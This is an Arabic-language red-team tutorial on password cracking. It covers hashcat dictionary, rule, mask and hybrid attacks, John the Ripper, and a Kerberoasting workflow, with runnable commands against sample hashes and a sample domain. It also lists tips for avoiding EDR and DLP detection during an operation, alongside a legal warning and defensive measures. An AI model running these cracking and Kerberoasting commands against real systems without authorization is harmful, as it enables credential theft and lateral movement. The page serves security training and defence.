الفرق الحمراء — الهجوممتقدم75mL16

Password Cracking — إزاي بتقع فعلاً

Hashcat و John و wordlists و rules — والـ GPU بيعمل إيه

#Hashcat#John#Cracking#Credentials#GPU

ليه بنكسر hashes أصلاً؟

تشبيه — شرح مبسط
بُص. مكتبة قرّرت تحتفظ بقايمة الكتب اللي قراها كل عضو.. بس بدل ما تكتب الاسم، حطّت بصمة (hash). - طب أنا هرجّع الاسم من البصمة إزاي يا حضرتك؟؟ مارجعش يا مستجد. ولا حد بيرجّع. إنت بتاخد كل الأسامي اللي تعرفها، تحسب بصماتها، وتقارن. ده بالظبط كسر الباسوردات. مش عكس الـ hash — تخمين الـ password، حسبة، مقارنة.

في أي engagement، هتلاقي نفسك جايب hashes من LSASS أو NTDS.dit أو /etc/shadow أو dump قاعدة بيانات. تكسرهم يبقوا credentials للـ lateral movement.

LinkedIn 2012
6.5 مليون hash سُرّبت. كانت كلها SHA-1 بدون salt. في 72 ساعة الـ community كسر 90% منها. ليه؟ unsalted SHA-1 بيتحسب على RTX حديث بـ ~50 GH/s. لو كانت bcrypt، نفس الكسر كان هياخد آلاف السنين. الفرق بين كارثة وانك متحصّن = اختيار خوارزمية صح. مش أكتر.

أنواع الـ hashes الشائعة

text
NTLM           — Windows local/domain accounts (16 bytes MD4)
NetNTLMv2      — Network challenge-response (Responder loot)
Kerberos 5 TGS — kerberoasting target (mode 13100)
DCC2 (MSCash2) — cached domain creds on workstations
bcrypt         — modern web apps ($2a$, $2b$)
SHA-512crypt   — Linux /etc/shadow ($6$)
MD5 / SHA1     — لا تزال موجودة في تطبيقات قديمة
PBKDF2-SHA256  — modern, slow (iOS keychain, 1Password)

Hashcat — أداة الميدان

01
جهّز الـ rig
GPU مش رفاهية، ضروري. RTX 4090 بيكسر 280 GH/s NTLM، أسرع من الـ CPU بعشرات المرات. حتى GTX 1080 بيمشّيك في الأول.
02
هجوم بقاموس
bash
# rockyou.txt = القاموس المفضّل (14M password)
hashcat -m 1000 -a 0 ntlm-hashes.txt /usr/share/wordlists/rockyou.txt

# -m 1000 = NTLM
# -a 0 = straight wordlist
03
هجوم بـ rules
القاعدة بتعدّل على كل كلمة (Capitalize، تضيف 2024، تستبدل e بـ 3).
bash
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# best64.rule = 64 تحويلة شائعة، بتزوّد فعالية القاموس 5x-10x
04
Mask attack — بنية معروفة
السياسة "8 حروف ورقم في الآخر"؟ استخدم mask.
bash
# ?u=upper ?l=lower ?d=digit ?s=symbol
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?l?l?d
# Spring2024! style:
hashcat -m 1000 -a 3 hashes.txt -1 'Spring|Summer|Fall|Winter' ?1?d?d?d?d?s
05
Hybrid
كلمة من القاموس + 4 أرقام في الآخر (تجمع الاتنين).
bash
hashcat -m 1000 -a 6 hashes.txt rockyou.txt ?d?d?d?d

Kerberoasting workflow

النقطة الذهبية: حسابات الخدمة في AD غالباً باسوردها ضعيف وقابل للـ hashing. وأي domain user يقدر يطلب لها TGS.

bash
# جلب الـ tickets
GetUserSPNs.py -request corp.local/normaluser:Pass123 -dc-ip 10.0.0.10 -outputfile tgs.hashes

# كسرها (mode 13100)
hashcat -m 13100 -a 0 tgs.hashes rockyou.txt -r best64.rule

# Service accounts often have "Service@2023" / "ServiceName123" passwords

JtR — للحالات التي يفشل فيها hashcat

John the Ripper تحفة في الأنواع الغريبة (KeePass، 1Password، PDF، ZIP). hashcat للـ GPU، John للـ CPU والمرونة.

bash
# تخمين تلقائي للـ hash type
john --wordlist=rockyou.txt hashes.txt

# على keepass
keepass2john Database.kdbx > kp.hash
john --wordlist=rockyou.txt kp.hash
تحذير قانوني
تكسر hashes جايبها من نظام مش بتاعك أو من dump مسرّب = جريمة. كل اللي إحنا بنشتغل عليه هنا مفترض إنه hashes من معملك أو engagement عليه authorization.
الحماية — اكتبها على إيدك
  • الطول > التعقيد: 16 حرف random أصعب من Pa$$w0rd1!
  • افرض passphrase 4 كلمات (XKCD diceware).
  • اقفل الكلمات الشائعة: HaveIBeenPwned API على الـ signup.
  • استخدم bcrypt أو argon2id، مش MD5/SHA — slow by design.
  • MFA في كل مكان — الـ hash اتكسر، بس مش هيعدّي.
  • راقب Kerberoasting: 4769 TGS requests غير عادية.
  • استخدم gMSA (Group Managed Service Accounts) — باسوردات 240 حرف بتدور لوحدها.

مقاييس

text
-- RTX 4090 على NTLM --
Pure brute  ?u?l?l?l?l?l?d?d  ≈ 6 ساعات
8-char rockyou + best64       ≈ دقيقتان
Kerberoast (13100) rockyou    ≈ 8 ساعات per ticket

-- DCC2 (slow) --
~4 MH/s فقط — تجنبه إلا للحسابات عالية القيمة

مصادر

  • Hashcat wiki — hashcat.net/wiki
  • SecLists — wordlists collection
  • Hash-Identifier / hashid — تحديد نوع الـ hash
  • CrackStation — lookup tables للـ hashes الضعيفة

غلطات الـ junior — اللي بتكشف العملية

لو فات عليك ده، يبقى مش بتراقب
  • بيـ run الـ hashcat على الـ laptop المؤسسي. الـ EDR شايف "process بيستهلك GPU 100%" = alert فوري.
  • بينقل الـ NTDS.dit بحجم 5 GB على network share. الـ DLP بيمسكه قبل ما يخلص.
  • بيكسر الـ hashes كلها قبل ما يفلترها. 50 ألف user، الـ Domain Admin من ضمنهم بس هو اللي يهم.
  • بيستخدم rockyou.txt على hashes جايّة من بيئة غير-إنجليزية. الـ user بيستخدم باسوردات عربي/تركي/فرنسي. ما هتلاقي حاجة.

الخلاصة: الـ cracking مش "اضغط زرار". هو فلترة + فهم للسياق + GPU. والأهم: لازم يكون على جهاز معزول، مش على endpoint مراقَب.

الخلاصة الناشفة

الـ password ما اتكسرش — أنت اللي اخترته ضعيف.

اوعى تقول "إحنا عندنا policy تعقيد". الـ policy على ورق وبس.

الـ org اللي بتفرض 16-char passphrase + bcrypt/argon2 + MFA = الـ hashes بتاعتها بلا قيمة.

الـ org اللي عندها "Spring2024!" كباسورد لـ service account = اخترقت بالفعل، بس لسه ما عرفتش.

أنت ونصيبك في الآخر — يا الـ Kerberoast بيتمسك في 4 ثواني، يا قاعد جواك سنين.